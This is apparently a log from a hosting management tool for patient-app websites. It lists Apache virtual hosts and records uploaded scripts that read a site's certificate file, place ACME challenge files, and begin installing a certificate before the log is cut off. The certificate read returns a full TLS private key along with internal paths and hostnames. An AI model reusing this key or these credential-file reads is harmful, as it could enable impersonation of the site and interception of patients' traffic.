         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-26 06:01:43: 

PUT: /tmp/pkp576653

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_audio_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-26 06:01:43: 

chmod 755 /tmp/pkp576653; /tmp/pkp576653; rm /tmp/pkp576653

2025-09-26 06:01:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_audio_net.conf	1469

<VirtualHost *:80>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.3-sii.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>







2025-09-26 06:01:43: 

PUT: /tmp/pkp718434

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-26 06:01:43: 

chmod 755 /tmp/pkp718434; /tmp/pkp718434; rm /tmp/pkp718434

2025-09-26 06:01:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt	5365
89:44:52:ed:da:bd:11:8a:24:82:9b:83:05:de:42:90

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBX2krgFoAbKPivZmUNZNvmKqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI2MDUwMzExWhcNMjUxMjI1MDUwMzEwWjAgMR4wHAYDVQQD
ExVhdWRpby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC4lXjUDepryOMcatxWcWiAtSk8WVB9mJ3ASAVECZC5xKi6z6hBwDoY
elZGUyt0nQcLh8CqxbZyDgFvXfdTeegCDUOfDRPfzV2M+k6RZqnNdFJzmAAEf7g/
x55B85qD4mhYVmyjCVwsbeRQ0S1xrNgkTC2NuQ1CMFLucb7Co0mxrIfObtDxx5d9
1ZwOm4mmET3+X7TmZkIsv6IzVhXZmxuD0ECvMKkEJU97+JAgKg4n4UWt0ZRNAThP
n+W/TB18RrjQaai3tQ+DBbv6aa9G0Cxc+mCm6TQ8y1107Fxt6+JvHIWcfIE2DQmd
1zxtCBPLEA/Xmqz6tqgZ5RyeIb44MNntAgMBAAGjggImMIICIjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFLwQtA19Fa8BNX27RoxxduFh/sKEMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8ucGF0aWVu
dGFwcHMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDMuY3JsMIIBBQYKKwYBBAHWeQIEAgSB
9gSB8wDxAHYAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZhJzw
zwAABAMARzBFAiAwtKtRjFqxKgWQc03RYnYgQymrtH1UiTKA8tpt3ihPygIhAJDf
IcyS+7iP1uCMec5f34d1r/nIdUQ/LEzAlSxJaO8yAHcAGYbUxyiqb/66A294Kk0B
karOLXIxD67OXXBBLSVMx9QAAAGZhJzw1AAABAMASDBGAiEAr0rIn9FToQX0aKGt
D8HLuZLxcLnDBy0mWy6JzfpObkACIQDM1PWSN7uuCeXD1CRdKygIMq2DFKNWnd+e
u3IWl4xwFzANBgkqhkiG9w0BAQsFAAOCAQEAmMdkzr+YYxeWK/IU/J7trOK0cf1G
WVjwaBF5Fjmde34UCfSPobX5VsYSYp76uEbMPmHcsWMoywEsseEO2mR37KHmAJ4i
uzaltCjW3eojUW4+sFex8DDPFYdTj02XI+619xnbtLxNWuR9PdyAC4/Qc9u9pPQw
iUUuiFZ4HaQZQH4fnucXRAtw2kvUxnhvPWkqTJBELZzshg7y+WgYRFNkq2WanHlo
fl7/5aDgP431M9XfDbGoV7E3tMCtVDHm4AWtd9oKM1Eq/OnNWX+KAvBV4T0zlC+S
f+pxtXLAnfIBAPp6RdaYFEQx04dZ6pL+xXezy1tMhZ3RJjDL7U32pu3dCw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC4lXjUDepryOMc
atxWcWiAtSk8WVB9mJ3ASAVECZC5xKi6z6hBwDoYelZGUyt0nQcLh8CqxbZyDgFv
XfdTeegCDUOfDRPfzV2M+k6RZqnNdFJzmAAEf7g/x55B85qD4mhYVmyjCVwsbeRQ
0S1xrNgkTC2NuQ1CMFLucb7Co0mxrIfObtDxx5d91ZwOm4mmET3+X7TmZkIsv6Iz
VhXZmxuD0ECvMKkEJU97+JAgKg4n4UWt0ZRNAThPn+W/TB18RrjQaai3tQ+DBbv6
aa9G0Cxc+mCm6TQ8y1107Fxt6+JvHIWcfIE2DQmd1zxtCBPLEA/Xmqz6tqgZ5Rye
Ib44MNntAgMBAAECggEBAKs5rN45Em5t6Y+g6Uge56wNYXUj/PClNCD8LjZRETni
Xgr9Or3TjZDLW2DdIgCI8dIWWfmQcpAWweoHJrj+6uOMXmAah4ciQFfYki17KKT3
9MxaAhoqSEaR7BKN4ZXZ3qWjdh8/PYvRXOxDPn6msdHqAI/pS41MuoGKbkSrqF7x
c6j+iokO+OjnsijzyVfkbrc471VXGf9G6wj8RXCOmxMnEaPN9xJjBww26ylS8+DN
Gw2XeHSN7MA7GtpQEiF74dS1A47wJigRvQ6A6R7v8ORi9DWWGiba6HDDmo16S/Ex
WHDueOC1gHMOpTS276BlzoRucY6l3MHFTHHKFN5oLIECgYEA3K3eADUc3qbtC0bM
6ZWKhcI9uTDbnQ+MDGEpTUFCMnf/uxnUkOJ2WLnFZ4Ump7iuoDOm0LSiKyVJ/pOz
aBogdO15+GHyl3Tfl4xvQqV2nOezF1bsB7t6qaCpRJZ919Ahl0CofzN2//SWr48o
m4PPtdGXV4kZWvpGT3a91pc9lTECgYEA1iCh2K41ZZtFQr+/Y4mvNaNgypMgwEGW
rymwjPKlhHB459Z/Cpibw67dA4gHpetodn0ULSWFPTp49XB995keelKzFXTuJg8T
amxAeqlp3amP6giNoImuoFNQfscUU1rEFLX2txnUMd1nfe/4kMwXlfx+A/DN324W
NuCrYxDy0X0CgYAxujw8b7uBsLvZvqqOOFRur8aY5JmYWtiEMaDM99ei58eIsdlk
jKN+et4w5aBASy2OjBUbEpk4f76cz0uuObT2pEzH28p+tqdrzwmDSyXfVZbVu5CU
bXrGnp2GByN0bkIjgz5063P1WXhbNzc/VASKRCCGaS59gcg2P9unb41BAQKBgQCS
v+yL5uDbkO2H0IgnfK4isaTdULYqbQkLZSQFhSqguMB0C1In/e0K0GXSTMEJGmwO
gKx6QHOvQcqyU3VRYpQ7uz/W3bt1Q/HHhwctybuvWc0y1MfTlWijolXRfTjV46fs
lcTPOhluT1HlQrh07BriBRiMNNWzYexBkfqDu5LetQKBgERJY+29pttLDldwLRuj
+kKmB3E27oZhDAHTkwJ1tAaGuTo9YSXpEAyFPbO0frmCO5KVwhoFKuyqeMURkawa
pLdwCNDKpaqqw42oaiT0V1nXJPHTxqcwqyLnRY53FYNCqSAITIZeVGjOy3qvtzrf
w+F7pbNr6zsD7r2xAxWcZf5V
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-26 06:01:43: Establishing a connection
2025-09-26 06:01:44: Establishing a connection
2025-09-26 06:01:44: 

PUT: /tmp/pkp482207

#!/bin/bash
if [ -d "/var/www/ineedtosaythis_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-26 06:01:45: 

chmod 755 /tmp/pkp482207; /tmp/pkp482207; rm /tmp/pkp482207

2025-09-26 06:01:45: 


1


2025-09-26 06:01:45: Establishing a connection
2025-09-26 06:01:45: 

PUT: /tmp/pkp265880

#!/bin/bash
mkdir -p "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cd "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cat > qnzBRf9S7UfmhO9brZoWBSF7oYXwFvwuxgFobpeFeZ8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
qnzBRf9S7UfmhO9brZoWBSF7oYXwFvwuxgFobpeFeZ8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 qnzBRf9S7UfmhO9brZoWBSF7oYXwFvwuxgFobpeFeZ8
cat > 03uXwzt1fUBe1iPVXtB9J9BDMcIDwrjXnQ0Q3IO7aqA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
03uXwzt1fUBe1iPVXtB9J9BDMcIDwrjXnQ0Q3IO7aqA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 03uXwzt1fUBe1iPVXtB9J9BDMcIDwrjXnQ0Q3IO7aqA


2025-09-26 06:01:45: 

chmod 755 /tmp/pkp265880; /tmp/pkp265880; rm /tmp/pkp265880

2025-09-26 06:01:45: 




2025-09-26 06:01:54: Establishing a connection
2025-09-26 06:01:54: 

PUT: /tmp/pkp905029

#!/bin/bash
mkdir -p "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cd "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
rm qnzBRf9S7UfmhO9brZoWBSF7oYXwFvwuxgFobpeFeZ8
rm 03uXwzt1fUBe1iPVXtB9J9BDMcIDwrjXnQ0Q3IO7aqA


2025-09-26 06:01:54: 

chmod 755 /tmp/pkp905029; /tmp/pkp905029; rm /tmp/pkp905029

2025-09-26 06:01:54: 




2025-09-26 06:01:54: Establishing a connection
2025-09-26 06:01:54: 

PUT: /tmp/pkp474415

#!/bin/bash
temp_file=$(mktemp)
TARGET=30544cb98a5f34c59eb0febd8752cfa0.crt

cat > $temp_file <<'endmsg'
eb:bf:4b:6e:08:fc:10:43:86:98:6a:7d:9c:5a:31:56

-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBVgSF91c9kxCHRK1nHSIbmCJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI2MDUwMzIzWhcNMjUxMjI1MDUwMzIyWjAdMRswGQYDVQQD
